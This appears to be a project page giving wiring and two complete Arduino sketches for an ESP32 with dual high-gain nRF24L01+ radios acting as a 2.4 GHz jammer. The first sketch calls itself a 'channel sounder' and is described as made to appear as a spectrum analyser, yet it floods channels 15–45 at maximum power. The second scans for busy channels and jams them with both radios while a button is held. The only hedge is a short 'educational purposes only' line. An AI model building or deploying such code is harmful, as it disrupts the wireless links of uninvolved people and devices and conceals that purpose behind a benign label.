ESP32 + Dual nRF24L01+ PA/LNA & 9dBi Antennas
β οΈ For educational purposes only
| ESP32 Wroom 32 (38βpin) | nRF24 #1 | nRF24 #2 | Other |
|---|---|---|---|
| 3.3V | VCC | VCC | β |
| GND | GND | GND | β |
| GPIO 18 (SCK) | SCK | SCK (shared) | β |
| GPIO 23 (MOSI) | MOSI | MOSI (shared) | β |
| GPIO 19 (MISO) | MISO | MISO (shared) | β |
| GPIO 4 | CE | β | β |
| GPIO 5 | CSN | β | β |
| GPIO 6 | β | CE | β |
| GPIO 7 | β | CSN | β |
| GPIO 0 (optional) | β | β | Button β GND (pullβup) |
| GPIO 2 (optional) | β | β | LED + resistor β GND |
Continuously sweeps channels 15β45, sending 20 packets per channel. Reports RPD (carrier detect) to appear as a spectrum analyser. Start jamming immediately
/*
* 2.4 GHz ISM Band Channel Sounder (V1)
* Simple sweep β jams all channels in range.
*/
#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#define RADIO_A_CE 4
#define RADIO_A_CSN 5
#define RADIO_B_CE 6
#define RADIO_B_CSN 7
RF24 radioA(RADIO_A_CE, RADIO_A_CSN);
RF24 radioB(RADIO_B_CE, RADIO_B_CSN);
const uint8_t channelList[] = {
15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,
31,32,33,34,35,36,37,38,39,40,41,42,43,44,45
};
const uint8_t channelCount = sizeof(channelList) / sizeof(channelList[0]);
const uint8_t PACKET_SIZE = 32;
const uint8_t BURST_COUNT = 20;
const uint16_t INTER_PACKET_US = 200;
uint8_t testPacket[PACKET_SIZE];
bool initRadio(RF24 &radio, uint8_t ceLabel) {
if (!radio.begin() || !radio.isChipConnected()) {
Serial.print(F("Radio init failed on CE")); Serial.println(ceLabel);
return false;
}
radio.setPALevel(RF24_PA_MAX);
radio.setDataRate(RF24_2MBPS);
radio.setPayloadSize(PACKET_SIZE);
radio.setAutoAck(false);
radio.setRetries(0,0);
radio.setCRCLength(RF24_CRC_DISABLE);
radio.setChannel(channelList[0]);
uint8_t address[] = "SNDR";
radio.openWritingPipe(address);
radio.openReadingPipe(1, address);
radio.startListening();
return true;
}
void setup() {
Serial.begin(115200);
delay(500);
bool okA = initRadio(radioA, RADIO_A_CE);
bool okB = initRadio(radioB, RADIO_B_CE);
if (!okA || !okB) { while(1) delay(1000); }
Serial.println(F("Channel Sounder ready. Sweeping channels..."));
}
bool transmitBurst(RF24 &radio, uint8_t channel) {
radio.stopListening();
radio.setChannel(channel);
radio.flush_tx();
for (uint8_t i = 0; i < PACKET_SIZE; i++) {
testPacket[i] = (i * 7 + channel) & 0xFF;
}
for (uint8_t burst = 0; burst < BURST_COUNT; burst++) {
radio.writeFast(testPacket, PACKET_SIZE);
delayMicroseconds(INTER_PACKET_US);
}
radio.txStandBy();
radio.startListening();
delayMicroseconds(150);
bool carrierDetected = radio.testRPD();
if (radio.available()) {
uint8_t dummy[PACKET_SIZE];
radio.read(dummy, PACKET_SIZE);
}
return carrierDetected;
}
void loop() {
for (uint8_t i = 0; i < channelCount; i++) {
RF24 &radio = (i % 2 == 0) ? radioA : radioB;
char label = (i % 2 == 0) ? 'A' : 'B';
bool rpd = transmitBurst(radio, channelList[i]);
Serial.print(F("Ch ")); Serial.print(channelList[i]);
Serial.print(F(" (")); Serial.print(label);
Serial.print(F("): RPD=")); Serial.println(rpd ? F("busy") : F("clear"));
delay(2);
}
}
Scans for busy channels, then jams only those channels using both radios simultaneously. Button (GPIO 0) activates jamming while held; LED (GPIO 2) indicates active jamming.
/*
* Adaptive Channel Jammer β Hold-to-Jam with LED (V2)
* Press and hold button to jam active channels.
*/
#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#define RADIO_A_CE 4
#define RADIO_A_CSN 5
#define RADIO_B_CE 6
#define RADIO_B_CSN 7
#define BUTTON_PIN 0
#define LED_PIN 2
RF24 radioA(RADIO_A_CE, RADIO_A_CSN);
RF24 radioB(RADIO_B_CE, RADIO_B_CSN);
const uint8_t channelList[] = {
15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,
31,32,33,34,35,36,37,38,39,40,41,42,43,44,45
};
const uint8_t channelCount = sizeof(channelList) / sizeof(channelList[0]);
const uint8_t PACKET_SIZE = 32;
const uint8_t BURST_COUNT = 30;
const uint16_t INTER_PACKET_US = 200;
bool activeChannels[channelCount] = {false};
uint8_t testPacket[PACKET_SIZE];
bool initRadio(RF24 &radio, uint8_t ceLabel) {
if (!radio.begin() || !radio.isChipConnected()) {
Serial.print(F("Radio init failed on CE")); Serial.println(ceLabel);
return false;
}
radio.setPALevel(RF24_PA_MAX);
radio.setDataRate(RF24_2MBPS);
radio.setPayloadSize(PACKET_SIZE);
radio.setAutoAck(false);
radio.setRetries(0,0);
radio.setCRCLength(RF24_CRC_DISABLE);
radio.setChannel(channelList[0]);
uint8_t address[] = "SNDR";
radio.openWritingPipe(address);
radio.openReadingPipe(1, address);
radio.startListening();
return true;
}
bool listenForActivity(RF24 &radio, uint8_t channel) {
radio.setChannel(channel);
radio.startListening();
delayMicroseconds(200);
bool rpd = radio.testRPD();
while (radio.available()) {
uint8_t dump[PACKET_SIZE];
radio.read(dump, PACKET_SIZE);
}
return rpd;
}
void transmitBurst(RF24 &radio, uint8_t channel) {
radio.stopListening();
radio.setChannel(channel);
radio.flush_tx();
for (uint8_t i = 0; i < PACKET_SIZE; i++) {
testPacket[i] = random(0,256);
}
for (uint8_t burst = 0; burst < BURST_COUNT; burst++) {
radio.writeFast(testPacket, PACKET_SIZE);
delayMicroseconds(INTER_PACKET_US);
}
radio.txStandBy();
radio.startListening();
}
void setup() {
Serial.begin(115200);
delay(500);
pinMode(BUTTON_PIN, INPUT_PULLUP);
pinMode(LED_PIN, OUTPUT);
digitalWrite(LED_PIN, LOW);
bool okA = initRadio(radioA, RADIO_A_CE);
bool okB = initRadio(radioB, RADIO_B_CE);
if (!okA || !okB) { while(1) delay(1000); }
Serial.println(F("Hold button to jam. Release to stop."));
}
void loop() {
bool buttonPressed = (digitalRead(BUTTON_PIN) == LOW);
digitalWrite(LED_PIN, buttonPressed ? HIGH : LOW);
// Idle scan (button not pressed)
if (!buttonPressed) {
for (uint8_t i = 0; i < channelCount; i++) {
RF24 &radio = (i % 2 == 0) ? radioA : radioB;
bool rpd = listenForActivity(radio, channelList[i]);
Serial.print(F("Ch ")); Serial.print(channelList[i]);
Serial.print(F(": ")); Serial.println(rpd ? F("busy") : F("clear"));
delay(2);
}
delay(100);
return;
}
// Jamming mode
// Scan active channels
for (uint8_t i = 0; i < channelCount; i++) {
RF24 &radio = (i % 2 == 0) ? radioA : radioB;
activeChannels[i] = listenForActivity(radio, channelList[i]);
}
// Jam only active channels with both radios
for (uint8_t i = 0; i < channelCount; i++) {
if (activeChannels[i]) {
radioA.stopListening();
radioB.stopListening();
radioA.setChannel(channelList[i]);
radioB.setChannel(channelList[i]);
for (uint8_t burst = 0; burst < BURST_COUNT; burst++) {
for (uint8_t j=0; j<PACKET_SIZE; j++) testPacket[j] = random(0,256);
radioA.writeFast(testPacket, PACKET_SIZE);
for (uint8_t j=0; j<PACKET_SIZE; j++) testPacket[j] = random(0,256);
radioB.writeFast(testPacket, PACKET_SIZE);
delayMicroseconds(80);
}
radioA.txStandBy();
radioB.txStandBy();
radioA.startListening();
radioB.startListening();
Serial.print(F("Jammed Ch ")); Serial.println(channelList[i]);
}
}
delay(50);
}
RF24 library by TMRh20 via Arduino Library Manager.